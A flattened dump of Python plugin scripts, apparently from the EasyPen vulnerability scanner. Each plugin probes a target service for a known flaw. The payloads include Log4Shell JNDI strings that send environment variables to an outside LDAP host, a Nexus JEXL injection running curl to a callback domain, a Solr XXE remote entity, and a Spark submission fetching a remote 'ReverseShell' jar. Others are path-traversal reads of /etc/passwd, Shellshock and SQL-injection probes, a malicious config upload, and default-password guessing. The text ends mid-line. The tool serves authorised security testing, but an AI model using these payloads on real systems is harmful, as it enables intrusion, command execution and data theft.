#!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import lib.config as conf 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if not conf.ldap_log_server: 11 | return 12 | 13 | payloads = [ 14 | '${jndi:ldap://' + conf.ldap_log_server + '/' 15 | 'easy-pen/user/${env:USER}/host/${env:hostName}/pwd/${env:PWD}}}', 16 | '${jndi:ldap://' + conf.ldap_log_server + '/' 17 | 'easy-pen-upper-hostname/user/${env:USER}/host/${env:HOSTNAME}/pwd/${env:PWD}}}'] 18 | 19 | for s in payloads: 20 | headers = {"Connection": "close", "User-Agent": s, "Referer": s, "True-Client-IP": s, "X-Forwarded-For": s} 21 | try: 22 | url = "{}://{}:{}/?{}".format(service, ip, port, s) 23 | await http_client(ip, port).get(url, headers=headers, timeout=20) 24 | except Exception as e: 25 | debug(e) 26 | 27 | 28 | if __name__ == "__main__": 29 | scan = do_scan('easypen-test.lijiejie.com', 8983, 'http', True, {}) 30 | run_plugin_test(scan) 31 | 32 | -------------------------------------------------------------------------------- /scripts/memcache_unauthorized_acess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from lib.poc.dummy import * 4 | 5 | 6 | async def do_scan(ip, port, service, is_http, task_msg): 7 | 8 | if service not in ['memcache', 'memcached'] and port != 11211: 9 | return 10 | 11 | try: 12 | reader, writer = await asyncio.open_connection(ip, port) 13 | writer.write(b"stats\n") 14 | await writer.drain() 15 | data = await asyncio.wait_for(reader.read(1000), 5) 16 | writer.close() 17 | try: 18 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 19 | except Exception as e: 20 | pass 21 | if b"connection_structures" in data: 22 | ret = { 23 | 'alert_group': 'Weak Password[memcached]', 24 | 'affects': 'memcache://%s:%s' % (ip, port), 25 | 'details': 'memcached [unauthorized access]: %s:%s' % (ip, port) 26 | } 27 | return ret 28 | 29 | except Exception as e: 30 | logger.error('Memcached crack exception: %s' % str(e)) 31 | debug(e) 32 | 33 | 34 | if __name__ == '__main__': 35 | scan = do_scan('easypen-test.lijiejie.com', 31472, 'memcache', False, task_msg={}) 36 | run_plugin_test(scan) 37 | -------------------------------------------------------------------------------- /scripts/mesos_api_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | target = "{}://{}:{}/master/state.json".format(service, ip, port) 11 | help_info = "{}://{}:{}/help".format(service, ip, port) 12 | try: 13 | 14 | r = await http_client(ip, port).get(target, timeout=20) 15 | keys = r.json().keys() 16 | if r.status_code == 200 and "activated_slaves" in keys and "unreachable_slaves" in keys and \ 17 | "leader_info" in keys: 18 | ret = { 19 | "alert_group": "Mesos API Unauthorized Access", 20 | "affects": target, 21 | "details": u"Mesos 未授权访问, 可操作机器上线下线及获取日志等,具体API可以访问: {}".format(help_info) 22 | } 23 | return ret 24 | except json.decoder.JSONDecodeError as e: 25 | pass 26 | except Exception as e: 27 | debug(e) 28 | 29 | 30 | if __name__ == '__main__': 31 | scan = do_scan('easypen-test.lijiejie.com', 5050, 'mesos', True, {}) 32 | run_plugin_test(scan) 33 | -------------------------------------------------------------------------------- /scripts/mongo_weak_pass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from lib.poc.dummy import * 4 | import motor.motor_asyncio 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if service not in ['mongod', 'mongodb']: 9 | return 10 | 11 | try: 12 | client = motor.motor_asyncio.AsyncIOMotorClient(ip, port) 13 | ret = await client.list_database_names() 14 | details = '[MongoDB Unauthorized Access] database list: %s' % ret 15 | ret = { 16 | 'alert_group': 'Mongodb Unauthorized Access', 17 | 'affects': 'mongodb://%s:%s' % (ip, port), 18 | 'details': details 19 | } 20 | return ret 21 | 22 | except Exception as e: 23 | if str(e).find('not authorized') < 0: 24 | logger.error('Mongodb crack exception: %s' % str(e)) 25 | debug(e) 26 | 27 | 28 | if __name__ == '__main__': 29 | scan = do_scan('easypen-test.lijiejie.com', 27020, 'mongodb', False, task_msg={}) 30 | run_plugin_test(scan) 31 | -------------------------------------------------------------------------------- /scripts/ms_exchange_ssrf_cve_2021_26855.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | headers = {'Cookie': 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; ' 5 | 'X-BEResource=localhost/owa/auth/logon.aspx?~3;'} 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | try: 11 | url = '{}://{}:{}/owa/auth/y.js'.format(service, ip, port) 12 | r = await http_client(ip, port).get(url, headers=headers, timeout=20) 13 | 14 | if r.status_code == 500 and 'NegotiateSecurityContext failed with for host' in r.text: 15 | ret = { 16 | 'alert_group': 'Exchange Server Server-Side Request Forgery (SSRF)', 17 | 'affects': '{}://{}:{}'.format(service, ip, port), 18 | 'details': '{}\n{}\nMicrosoft Exchange Server Server-Side Request Forgery (SSRF) ' 19 | 'vulnerability (CVE-2021-26855)'.format(url, headers) 20 | } 21 | return ret 22 | except Exception as e: 23 | debug(e) 24 | 25 | 26 | if __name__ == '__main__': 27 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, {}) 28 | run_plugin_test(scan) 29 | -------------------------------------------------------------------------------- /scripts/nacos_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | base_url = "{}://{}:{}".format(service, ip, port) 10 | path = "/nacos/v1/auth/users?pageNo=1&pageSize=900" 11 | 12 | try: 13 | r = await http_client(ip, port).get(base_url + path, timeout=20) 14 | if r.status_code == 200 and r.json()["pageItems"] and r.json()['pageItems'][0]['password']: 15 | advice = "http://THIS_LINK_HAS_BEEN_REMOVED" 16 | ret = { 17 | 'alert_group': 'Nacos Unauthorized Access', 18 | 'affects': base_url, 19 | 'details': 'fix advice: {ad}\n\nresponse:\n{data}'.format(ad=advice, data=r.text) 20 | } 21 | return ret 22 | except json.decoder.JSONDecodeError as e: 23 | pass 24 | except Exception as e: 25 | debug(e) 26 | 27 | 28 | if __name__ == '__main__': 29 | scan = do_scan('easypen-test.lijiejie.com', 8848, 'http', True, {}) 30 | run_plugin_test(scan) 31 | -------------------------------------------------------------------------------- /scripts/next_js_arbitrary_file_read.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | import ssl 3 | 4 | 5 | @http_scan 6 | async def do_scan(ip, port, service, is_http, task_msg): 7 | 8 | payload = "GET {} HTTP/1.1\r\n" + \ 9 | "Host: {}\r\n".format(ip) + \ 10 | "User-Agent: {}\r\n".format(GLOBAL_USER_AGENT) + \ 11 | "Connection: close\r\n\r\n" 12 | 13 | try: 14 | paths = [r'/static\..\..\..\..\..\..\..\..\etc\passwd', '/static/../../../../../../../../etc/passwd'] 15 | for path in paths: 16 | if service == 'https': 17 | ssl_context = ssl._create_unverified_context() 18 | reader, writer = await asyncio.open_connection(ip, port, ssl=ssl_context) 19 | else: 20 | reader, writer = await asyncio.open_connection(ip, port) 21 | 22 | writer.write(payload.format(path).encode()) 23 | await writer.drain() 24 | data = await asyncio.wait_for(reader.read(200), 5) 25 | writer.close() 26 | try: 27 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 28 | except Exception as e: 29 | pass 30 | 31 | if data.decode().find("root:x:") >= 0: 32 | ret = { 33 | 'alert_group': 'Arbitrary File Read in Next.js < 2.4.1', 34 | 'affects': '{}://{}:{}'.format(service, ip, port), 35 | 'details': '{}\nan Arbitrary File Read in Next.js < 2.4.1.'.format(path) 36 | } 37 | return ret 38 | except Exception as e: 39 | debug(e) 40 | 41 | 42 | if __name__ == '__main__': 43 | scan = do_scan('easypen-test.lijiejie.com', 18888, 'HTTP', True, task_msg={}) 44 | run_plugin_test(scan) 45 | -------------------------------------------------------------------------------- /scripts/nexus_rce_cve_2019_7238.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if not conf.dnslog_enabled: 10 | return 11 | 12 | domain = dns_monitor(ip, port).add_checker('nexus-rce', alert_group='Nexus RCE CVE-2019-7238') 13 | 14 | poc = {"action": "coreui_Component", 15 | "data": [ 16 | {"filter": [ 17 | {"property": "repositoryName", "value": "*"}, 18 | {"property": "expression", "value": "1==0 or ''.class.forName('java.lang.Runtime')." 19 | "getRuntime().exec(\"curl http://{}\")".format(domain)}, 20 | {"property": "type", "value": "jexl"}], 21 | "limit": 50, 22 | "page": 1, 23 | "sort": [{"direction": "ASC", "property": "name"}], 24 | "start": 0} 25 | ], 26 | "method": "previewAssets", 27 | "tid": 1, 28 | "type": "rpc"} 29 | 30 | target = '{}://{}:{}/service/extdirect'.format(service, ip, port) 31 | try: 32 | await http_client(ip, port).post(target, json=poc, timeout=20) 33 | except Exception as e: 34 | debug(e) 35 | 36 | 37 | if __name__ == '__main__': 38 | scan = do_scan('easypen-test.lijiejie.com', 8081, 'http', True, task_msg={}) 39 | run_plugin_test(scan) 40 | -------------------------------------------------------------------------------- /scripts/nfs_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | from lib.poc.process import check_cmd_output 6 | 7 | 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if port != 2049: 10 | return 11 | try: 12 | cmd = 'showmount -e {0}'.format(ip) 13 | data = await check_cmd_output(cmd, 6) 14 | if 'everyone' in data or ' *\n' in data: 15 | ret = { 16 | 'alert_group': 'NFS Unauthorized Access', 17 | 'affects': 'nfs://%s:%s' % (ip, port), 18 | 'details': 'NFS UnAuthorized Access %s\n%s' % (ip, data) 19 | } 20 | return ret 21 | except Exception as e: 22 | debug(e) 23 | 24 | 25 | if __name__ == '__main__': 26 | scan = do_scan('easypen-test.lijiejie.com', 2049, 'nfs', False, task_msg={}) 27 | run_plugin_test(scan) 28 | 29 | -------------------------------------------------------------------------------- /scripts/nginx-plus-unprotected-upstream.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | import re 3 | 4 | 5 | @http_scan 6 | async def do_scan(ip, port, service, is_http, task_msg): 7 | try: 8 | url = '{}://{}:{}/upstream_conf?upstream=backend'.format(service, ip, port) 9 | 10 | r = await http_client(ip, port).get(url, timeout=20) 11 | if r.status_code == 200 and 'server' in r.text: 12 | m = re.search(r'(server\s\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,4};\s#\sid=\d+)', r.text) 13 | if m: 14 | ret = { 15 | 'alert_group': 'NGINX+ unprotected Upstream HTTP interface', 16 | 'affects': '{}://{}:{}'.format(service, ip, port), 17 | 'details': '{}\nNGINX+ unprotected Upstream HTTP interface.'.format(url) 18 | } 19 | return ret 20 | except Exception as e: 21 | debug(e) 22 | 23 | 24 | if __name__ == '__main__': 25 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 26 | run_plugin_test(scan) 27 | -------------------------------------------------------------------------------- /scripts/nodejs_debug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | base_url = '{}://{}:{}'.format(service, ip, port) 11 | try: 12 | r = await http_client(ip, port).get(base_url + '/json/version', timeout=20) 13 | r = r.json() 14 | if 'Browser' in r and "Protocol-Version" in r: 15 | r2 = await http_client(ip, port).get(base_url + '/json', timeout=20) 16 | r2 = r2.json() 17 | if any(["webSocketDebuggerUrl" in i for i in r2]): 18 | ret = { 19 | 'alert_group': 'Node.js Debug Info', 20 | 'affects': base_url, 21 | 'details': 'url/json/version: \n{}\n url/json: {}'.format(r, r2) 22 | } 23 | return ret 24 | except json.decoder.JSONDecodeError as e: 25 | pass 26 | except Exception as e: 27 | debug(e) 28 | 29 | 30 | if __name__ == '__main__': 31 | scan = do_scan('easypen-test.lijiejie.com', 9227, 'http', True, task_msg={}) 32 | run_plugin_test(scan) 33 | -------------------------------------------------------------------------------- /scripts/nodejs_path_traversal_cve_2017_14849.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | import ssl 3 | 4 | 5 | @http_scan 6 | async def do_scan(ip, port, service, is_http, task_msg): 7 | payload = "GET {} HTTP/1.1\r\n" + \ 8 | "Host: {}\r\n".format(ip) + \ 9 | "User-Agent: {}\r\n".format(GLOBAL_USER_AGENT) + \ 10 | "Connection: close\r\n\r\n" 11 | 12 | try: 13 | for path in ['/../../../a/../../../../etc/passwd', '/static/../../../a/../../../../etc/passwd']: 14 | if service == 'https': 15 | ssl_context = ssl._create_unverified_context() 16 | reader, writer = await asyncio.open_connection(ip, port, ssl=ssl_context) 17 | else: 18 | reader, writer = await asyncio.open_connection(ip, port) 19 | 20 | writer.write(payload.format(path).encode()) 21 | await writer.drain() 22 | data = await asyncio.wait_for(reader.read(200), 5) 23 | writer.close() 24 | try: 25 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 26 | except Exception as e: 27 | pass 28 | 29 | if data.decode().find("root:x:") >= 0: 30 | ret = { 31 | 'alert_group': 'node.js path traversal CVE-2017-14849', 32 | 'affects': '{}://{}:{}'.format(service, ip, port), 33 | 'details': '{}\npath traversal vulnerability that affects Node.js version 8.5.0'.format(path) 34 | } 35 | return ret 36 | except Exception as e: 37 | debug(e) 38 | 39 | 40 | if __name__ == '__main__': 41 | scan = do_scan('easypen-test.lijiejie.com', 18888, 'HTTP', True, task_msg={}) 42 | run_plugin_test(scan) 43 | -------------------------------------------------------------------------------- /scripts/rsync_unauthorized_acess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from lib.poc.dummy import * 4 | from lib.poc.process import check_cmd_output 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if service != 'rsync' and port != 873: 9 | return 10 | try: 11 | rsync_path = get_exe_path('rsync') 12 | cmd = '%s %s:: --timeout=10 --contimeout=10 --port=%s --password-file=/dev/null' % \ 13 | (rsync_path, ip, port) 14 | ret = await check_cmd_output(cmd, 10) 15 | if not ret: 16 | return 17 | details = 'Rsync[no auth] list: %s' % ', '.join(ret.split()) 18 | if details.find('Welcome, to, use, the, rsync, services!, Current, Server, IP:') >= 0: 19 | return 20 | else: 21 | details = details[:250] 22 | file_result = [] 23 | for _file in ret.split(): 24 | try: 25 | cmd = '%s %s::%s --timeout=10 --contimeout=10 --port=%s --password-file=/dev/null' % \ 26 | (rsync_path, ip, _file, port) 27 | ret = await check_cmd_output(cmd, 30) 28 | if not ret: 29 | file_result.append(False) 30 | else: 31 | file_result.append(True) 32 | except Exception: 33 | pass 34 | if any(file_result): 35 | ret = { 36 | 'alert_group': 'rsync Weak Password', 37 | 'affects': 'rsync://%s:%s' % (ip, port), 38 | 'details': details 39 | } 40 | return ret 41 | except Exception as e: 42 | debug(e) 43 | 44 | 45 | if __name__ == '__main__': 46 | print(do_scan("easypen-test.lijiejie.com", 873, "rsync", False, {})) 47 | -------------------------------------------------------------------------------- /scripts/ruby_on_rails_lfr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | target = '{}://{}:{}/robots'.format(service, ip, port) 11 | headers = {'Accept': '../../../../../../../../etc/passwd{{'} 12 | 13 | r = await http_client(ip, port).get(target, headers=headers, timeout=20) 14 | if 'root:x:' in r.text: 15 | ret = { 16 | 'alert_group': 'Ruby On Rails LFR(CVE-2019-5418)', 17 | 'affects': target, 18 | 'details': 'get {} with headers:\n\n{}'.format(target, headers) 19 | } 20 | return ret 21 | except Exception as e: 22 | debug(e) 23 | 24 | 25 | if __name__ == '__main__': 26 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 27 | run_plugin_test(scan) 28 | -------------------------------------------------------------------------------- /scripts/shell_shock_bash_rce.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from lib.poc.dummy import * 4 | 5 | 6 | @http_scan 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | 9 | url = '%s://%s:%s/cgi-bin/test-cgi' % (service, ip, port) 10 | payload = '''() { foo;}; echo Content-Type: text/plain ; echo ; /usr/bin/wget''' 11 | 12 | try: 13 | r = await http_client(ip, port).get(url, headers={"User-Agent": payload}, timeout=20) 14 | 15 | if "ry `wget --help' for more options" in r.text: 16 | ret = { 17 | 'alert_group': 'ShellShock Remote Code Execution', 18 | 'affects': url, 19 | 'details': "Shell Shock: curl -A '%s' %s" % (payload, url) + 20 | ' \n\nExec ifconfig, found header [inet addr]' 21 | } 22 | return ret 23 | except Exception as e: 24 | debug(e) 25 | 26 | 27 | if __name__ == '__main__': 28 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 29 | run_plugin_test(scan) 30 | -------------------------------------------------------------------------------- /scripts/shiro_cms_fingerprint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | try: 11 | target = '{}://{}:{}'.format(service, ip, port) 12 | r = await http_client(ip, port).get(target, timeout=20) 13 | for key in r.headers.keys(): 14 | if "rememberMe=" in r.headers[key]: 15 | ret = { 16 | "alert_group": "shiro cookie", 17 | 'affects': '{}://{}:{}'.format(service, ip, port), 18 | 'details': 'shiro fingerprint cookie:\n {}'.format(r.headers[key]) 19 | } 20 | return ret 21 | except Exception as e: 22 | debug(e) 23 | 24 | 25 | if __name__ == '__main__': 26 | scan = do_scan('easypen-test.lijiejie.com', 8043, 'https', True, task_msg={}) 27 | run_plugin_test(scan) 28 | -------------------------------------------------------------------------------- /scripts/skywalking_sql_injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | data = """{"query":"query queryLogs($condition: LogQueryCondition) {queryLogs(condition: $condition) { 10 | logs{content}}}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS) 11 | union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--", 12 | "paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration": 13 | {"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}""" 14 | 15 | url = "{}://{}:{}/graphql".format(service, ip, port) 16 | try: 17 | 18 | r = await http_client(ip, port).post(url, data=data, timeout=20) 19 | 20 | if r.text.find("root:x:0") >= 0: 21 | ret = { 22 | 'alert_group': 'SkyWalking SQL Injection', 23 | 'affects': url, 24 | 'details': 'post \n{data}\n to /graphql\n修复方式: 升级至最新版本'.format(data=data) 25 | } 26 | return ret 27 | except Exception as e: 28 | debug(e) 29 | 30 | 31 | if __name__ == '__main__': 32 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 33 | run_plugin_test(scan) 34 | -------------------------------------------------------------------------------- /scripts/socks_proxy_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import dns.asyncresolver 6 | 7 | 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if service.lower() not in ['unknown', 'socks']: 10 | return 11 | 12 | target_url = "http://browserkernel.baidu.com/newpac31/videoproxy.conf.txt" 13 | 14 | try: 15 | # resolve to IP addr 16 | if not is_ip_addr(ip): 17 | try: 18 | answers = await dns.asyncresolver.resolve(ip, "A") 19 | ip = answers[0].address 20 | except Exception as e: 21 | return 22 | 23 | internet_ip = not is_intranet(ip) 24 | 25 | sock_proxy = "socks5://{}:{}".format(ip, port) 26 | 27 | async with httpx.AsyncClient(verify=False, proxies=sock_proxy) as client: 28 | r = await asyncio.wait_for(client.get(target_url, headers={"User-Agent": GLOBAL_USER_AGENT}), 20) 29 | 30 | code = r.status_code 31 | html = r.text 32 | if code == 200 and html.find("cloudnproxy.baidu.com:443") >= 0: 33 | ret = { 34 | 'alert_group': 'SOCK5 Proxy [Internet]' if internet_ip else 'SOCKS Proxy [Intranet]', 35 | 'affects': "SOCK5://%s:%s" % (ip, port), 36 | 'details': "Unauthorized SOCK5 Proxy FOUND: %s:%s" % (ip, port) 37 | } 38 | return ret 39 | except Exception as e: 40 | debug(e) 41 | 42 | 43 | if __name__ == '__main__': 44 | scan = do_scan('easypen-test.lijiejie.com', 50023, 'socks', False, {}) 45 | run_plugin_test(scan) 46 | -------------------------------------------------------------------------------- /scripts/solr_rce_xxe_cve_2017_12629.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | """ 7 | apache solr rce 8 | poc from https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 9 | xxe and rce, verified by xxe, and may be rce vulnerable 10 | """ 11 | 12 | 13 | @http_scan 14 | async def do_scan(ip, port, service, is_http, task_msg): 15 | url = '{}://{}:{}/solr/admin/cores?wt=json'.format(service, ip, port) 16 | if not conf.dnslog_enabled: 17 | return 18 | try: 19 | r = await http_client(ip, port).get(url, timeout=20) 20 | if 'status' not in r.text: 21 | return 22 | apps = r.json()['status'].keys() 23 | 24 | if apps: 25 | app = list(apps)[0] 26 | 27 | domain = dns_monitor(ip, port).add_checker( 28 | 'solr-rce-xxe', 29 | alert_group='Apache Solr XXE/RCE', 30 | details='Target solr is vulnerable to XXE and RCE(CVE-2017-12629-RCE)') 31 | 32 | poc = '?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!' \ 33 | 'DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22{}' \ 34 | '%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser' 35 | poc = poc.format('http://' + domain) 36 | url = '{}://{}:{}/solr/{}/select'.format(service, ip, port, app) 37 | 38 | await http_client(ip, port).get(url + poc, timeout=20) 39 | except json.decoder.JSONDecodeError as e: 40 | pass 41 | except Exception as e: 42 | debug(e) 43 | 44 | 45 | if __name__ == '__main__': 46 | scan = do_scan('easypen-test.lijiejie.com', 8983, 'http', True, task_msg={}) 47 | run_plugin_test(scan) 48 | -------------------------------------------------------------------------------- /scripts/solr_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | base_url = '%s://%s:%s' % (service, ip, port) 11 | url = base_url + '/solr/admin/info/system?wt=json' 12 | 13 | r = await http_client(ip, port).get(url, timeout=20) 14 | if r.status_code == 200 and 'solr_home' in r.text: 15 | ret = { 16 | 'alert_group': 'Solr Unauthorized Access', 17 | 'affects': base_url, 18 | 'details': 'Solr Unauthorized Access:\n\n' + url 19 | } 20 | return ret 21 | except Exception as e: 22 | debug(e) 23 | 24 | 25 | if __name__ == '__main__': 26 | scan = do_scan('easypen-test.lijiejie.com', 8983, 'http', True, task_msg={}) 27 | run_plugin_test(scan) 28 | -------------------------------------------------------------------------------- /scripts/solr_upload_rce_cve_2020_13957.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import os 5 | from lib.poc.dummy import * 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | cwd = os.path.split(os.path.abspath(__file__))[0] 11 | jar_file_dir = os.path.join(cwd, "jarfile") 12 | zip_file = os.path.join(jar_file_dir, "solr_upload_rce_cve_2020_13957.zip") 13 | 14 | try: 15 | path = "/solr/admin/configs?action=UPLOAD&name=SecurityConfigSet" + random_str(10) 16 | url = "{}://{}:{}{}".format(service, ip, port, path) 17 | file_data = {'file': ("security-test.txt.zip", open(zip_file, 'rb'))} 18 | 19 | r = await http_client(ip, port).post(url, files=file_data, timeout=20) 20 | 21 | if r.status_code == 200 and r.json()['responseHeader']['status'] == 0: 22 | ret = { 23 | 'alert_group': 'Solr Upload RCE CVE-2020-13957', 24 | 'affects': '{}'.format(url), 25 | 'details': 'through url: /solr/admin/configs?action=UPLOAD\n ' 26 | 'can upload a zip file and execute command\n ' 27 | 'see details: https://cert.360.cn/warning/detail?id=017b8f976fd9a6409e051ed9ef24bb67' 28 | } 29 | return ret 30 | except json.decoder.JSONDecodeError as e: 31 | pass 32 | except Exception as e: 33 | debug(e) 34 | 35 | 36 | if __name__ == '__main__': 37 | scan = do_scan('easypen-test.lijiejie.com', 8983, 'http', True, task_msg={}) 38 | run_plugin_test(scan) 39 | -------------------------------------------------------------------------------- /scripts/sonarqube_default_credentials.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | async def test_auth(ip, port, url, username, password): 5 | data = {'login': username, 'password': password} 6 | r = await http_client(ip, port).post(url + '/api/authentication/login', data=data, timeout=20) 7 | if r.status_code == 200 and 'Set-Cookie' in r.headers: 8 | cookies = r.headers.get('Set-Cookie') 9 | if 'XSRF-TOKEN=' in cookies and 'JWT-SESSION=' in cookies: 10 | return True 11 | return False 12 | 13 | 14 | @http_scan 15 | async def do_scan(ip, port, service, is_http, task_msg): 16 | if port != 9000: 17 | return 18 | 19 | url = '{}://{}:{}'.format(service, ip, port) 20 | try: 21 | r = await http_client(ip, port).get(url, timeout=20) 22 | if r.text.find('') >= 0: 23 | if await test_auth(ip, port, url, 'admin', 'admin') and \ 24 | not await test_auth(ip, port, url, '4dmin', '4dmin') and \ 25 | await test_auth(ip, port, url, 'admin', 'admin'): 26 | ret = { 27 | 'alert_group': 'SonarQube Default Credentials', 28 | 'affects': '{}://{}:{}'.format(service, ip, port), 29 | 'details': '{}/api/authentication/login\n{}\n' 30 | 'SonarQube default credentials.'.format(url, 'login=admin&password=admin') 31 | } 32 | return ret 33 | except Exception as e: 34 | debug(e) 35 | 36 | 37 | if __name__ == '__main__': 38 | scan = do_scan("easypen-test.lijiejie.com", 9000, 'http', True, task_msg={}) 39 | run_plugin_test(scan) 40 | -------------------------------------------------------------------------------- /scripts/spark_unauthorized_access_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | if not conf.dnslog_enabled: 11 | return 12 | api_url = '{}://{}:{}/v1/submissions/create'.format(service, ip, port) 13 | 14 | r = await http_client(ip, port).post(api_url, data={}, timeout=20) 15 | version = r.json()['serverSparkVersion'] 16 | if not version: 17 | return 18 | except Exception as e: 19 | return 20 | 21 | domain = dns_monitor(ip, port).add_checker( 22 | 'spark-submissions-rce', 23 | alert_group='Spark Submissions Unauthorized Access RCE', 24 | details='Reference: https://github.com/vulhub/vulhub/tree/master/spark/unacc') 25 | data = { 26 | "action": "CreateSubmissionRequest", 27 | "clientSparkVersion": version, 28 | "appArgs": [""], 29 | "appResource": 'http://' + domain, 30 | "environmentVariables": { 31 | "SPARK_ENV_LOADED": "1" 32 | }, 33 | "mainClass": "ReverseShell", 34 | "sparkProperties": { 35 | "spark.jars": 'http://' + domain, 36 | "spark.driver.supervise": "false", 37 | "spark.app.name": random_str(8, False), 38 | "spark.eventLog.enabled": "false", 39 | "spark.submit.deployMode": "cluster", 40 | "spark.master": "spark://{}:{}".format(ip, port) 41 | } 42 | } 43 | 44 | try: 45 | await http_client(ip, port).post(api_url, json=data, timeout=20) 46 | except Exception as e: 47 | debug(e) 48 | 49 | 50 | if __name__ == '__main__': 51 | scan = do_scan('easypen-test.lijiejie.com', 6066, 'http', True, task_msg={}) 52 | run_plugin_test(scan) 53 | -------------------------------------------------------------------------------- /scripts/splunk_weak_password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | site = '{}://{}:{}'.format(service, ip, port) 10 | 11 | r = await http_client(ip, port).get(site + '/zh-CN/404_page', timeout=10) 12 | if r.text.find('was not found. - Splunk') < 0: 13 | return 14 | 15 | for pwd in ['changeme', 'admin', '123456', 'admin123456']: 16 | try: 17 | data = {'cval': '123456', 'username': 'admin', 'password': pwd} 18 | r = await http_client(ip, port).post(site + '/zh-CN/account/login', data=data, timeout=10) 19 | if '{"status":0}' in r.text: 20 | details = 'Splunk [{}] WeakPass: admin:{}'.format(site, pwd) 21 | ret = { 22 | 'alert_group': 'Splunk Weak Password', 23 | 'affects': '%s' % site, 24 | 'details': details 25 | } 26 | 27 | return ret 28 | except Exception as e: 29 | debug(e) 30 | return "" 31 | 32 | return {'alert_group': 'Splunk Admin', 'affects': '%s' % site, 'details': 